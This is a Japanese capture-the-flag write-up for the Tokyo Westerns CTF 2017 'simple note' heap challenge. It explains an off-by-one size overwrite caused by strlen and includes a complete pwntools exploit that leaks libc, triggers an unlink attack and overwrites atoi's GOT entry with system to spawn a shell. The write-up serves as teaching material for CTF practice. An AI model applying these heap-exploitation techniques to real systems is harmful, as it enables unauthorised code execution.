TWCTF 2017 [Pwn 86] simple note

Tokyo Westerns CTF 2017 の Pwn問です。

開催期間中に解けませんでしたが供養のため。

観察

セキュリティ機構

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

fileコマンド

 »»»» file simple_note
simple_note: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9976eff277e9b1fef5ebe60277ea7eb90a17625e, not stripped

さて今回の問題はHeap Exploit問のようです。

editコマンドは strlen で長さを数えたあと、その長さ分の文字列を入力として受け付けるようです。

例えば、addコマンドにより 0x88 のような大きさの文字列を二回とった場合(この場合mallocでは0x90の長さの領域が確保されるが、実際にはオフセット0x88部分に次の領域のサイズが格納されるようになる。)

以下のようなデータの配置になります。

...
0x1b47000:  0x0000000000000000  0x0000000000000091
0x1b47010:  0x4141414141414141  0x4141414141414141
0x1b47020:  0x4141414141414141  0x4141414141414141
0x1b47030:  0x4141414141414141  0x4141414141414141
0x1b47040:  0x4141414141414141  0x4141414141414141
0x1b47050:  0x4141414141414141  0x4141414141414141
0x1b47060:  0x4141414141414141  0x4141414141414141
0x1b47070:  0x4141414141414141  0x4141414141414141
0x1b47080:  0x4141414141414141  0x4141414141414141
0x1b47090:  0x4141414141414141  0x0000000000000091
0x1b470a0:  0x4141414141414141  0x4141414141414141
0x1b470b0:  0x4141414141414141  0x4141414141414141
...

バイナリはリトルエンディアンなので、メモリはひとつの塊(8byte)の中では右から左(アドレスが小さい方から)に進んでいきます。そのため アドレス 0x1b47090 の文字列 0x4141414141414141 と アドレス 0x1b47098 の文字列は 0x0000000000000091 は隣接しているため、 実際のところ 0x41414141414141419100000000000000 のようになっていると見ることが出来ます。

さて strlen では文字列が終端文字 0x00 に到達するまで長さをかぞえます。ということは、つまり今回の場合では次の領域のサイズを示すバイトを上書きして入力できるということになります。

あとはこれを用いて、領域をオーバーラップさせunlink attackにつなげてgot領域の atoi 関数を system 関数に書き換えればシェルが取れます。

unlink attackについてはbataさんの資料が詳しいです。

katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck

Exploit

以下のExploitではわざわざ領域をオーバーラップさせることで、LIBCのアドレスをリークしていますが実際にはaddコマンドで入力した文字列が終端処理されないため、単にfreeしてLIBC上のアドレスを出した後、8byteだけ文字を入力するなどすればLIBCのリークは可能だと思います。

from pwn import *
import sys

#context.log_level = "debug"
def add_note(size, content):
    conn.sendafter("Your choice:", "1")
    conn.sendafter("Please input the size:", str(size))
    conn.sendafter("Please input your note:", content)

def delete_note(index):
    conn.sendafter("Your choice:", "2")
    conn.sendafter("Please input the index:", str(index))
    
def show_note(index):
    conn.sendafter("Your choice:", "3")
    conn.sendafter("Please input the index:", str(index))

def edit_note(index, content):
    conn.sendafter("Your choice:", "4")
    conn.sendafter("Please input the index:", str(index))
    conn.sendafter("Please input your note:", content)

#size 0x7f >
def exploit():
    add_note(0x88, 'A' * 0x88) #idx0
    add_note(0x88, 'A' * 0x88) #idx1
    pause()
    add_note(0x88, 'A' * 0x88) #idx2
    delete_note(1)
    add_note(0x88, 'A' * 0x8) #idx1
    show_note(1)
    conn.recvuntil('Note: \n')
    LEAK = u64(conn.recv(14)[-6:] + '\x00' + '\x00')
#>>> hex(0x7f5ce68adb78 - 0x7f5ce64e9000)
#'0x3c4b78'
    LIBC = LEAK - 0x3c4b78
    log.success("LEAK :0x%x" % LEAK)
    log.success("LIBC :0x%x" % LIBC)

    add_note(0x88, 'A' * 0x88)#idx3
    add_note(0xf8, 'A' * 0xf8)#idx4 0x00
    add_note(0x88, 'A' * 0x88)#idx5 0x100
    add_note(0x88, 'A' * 0x88)#idx6 0x190
    content = 'A' * 0x18 + p64(0x71)
    content += 'A' * (0x88 - len(content))
    add_note(0x88, content)#idx7 0x220

    edit_note(3, 'A' * 0x88 + '\x41\x02')
    delete_note(4)
    content = 'A' * 0x108 + p64(0x81)
    content += p64(0x6020c0 + 0x8 * (5 - 3)) + p64(0x6020c0 + 0x8 * (5 - 2))
    content += 'A' * 0x60 + p64(0x80) + p64(0xb0)
    content += 'A' * (0x238 - len(content))
    add_note(0x238, content)
    delete_note(6)
#0088| 0x602058 --> 0x7f680f492e80 (<atoi>:
    edit_note(5, '\x58\x20\x60')
#0000000000045390 W system
    edit_note(2, p64(LIBC + 0x45390))
    conn.interactive()

def experiment():
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)

    delete_note(1)
    pause()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        HOST = "pwn1.chal.ctf.westerns.tokyo"
        PORT = 16317
        conn = remote(HOST, PORT)
    else:
        conn = process("./simple_note", env={"LD_PRELOAD":"./libc.so.6"})
    exploit()
    #experiment()

フラグは時間内に取れなかったので知りません。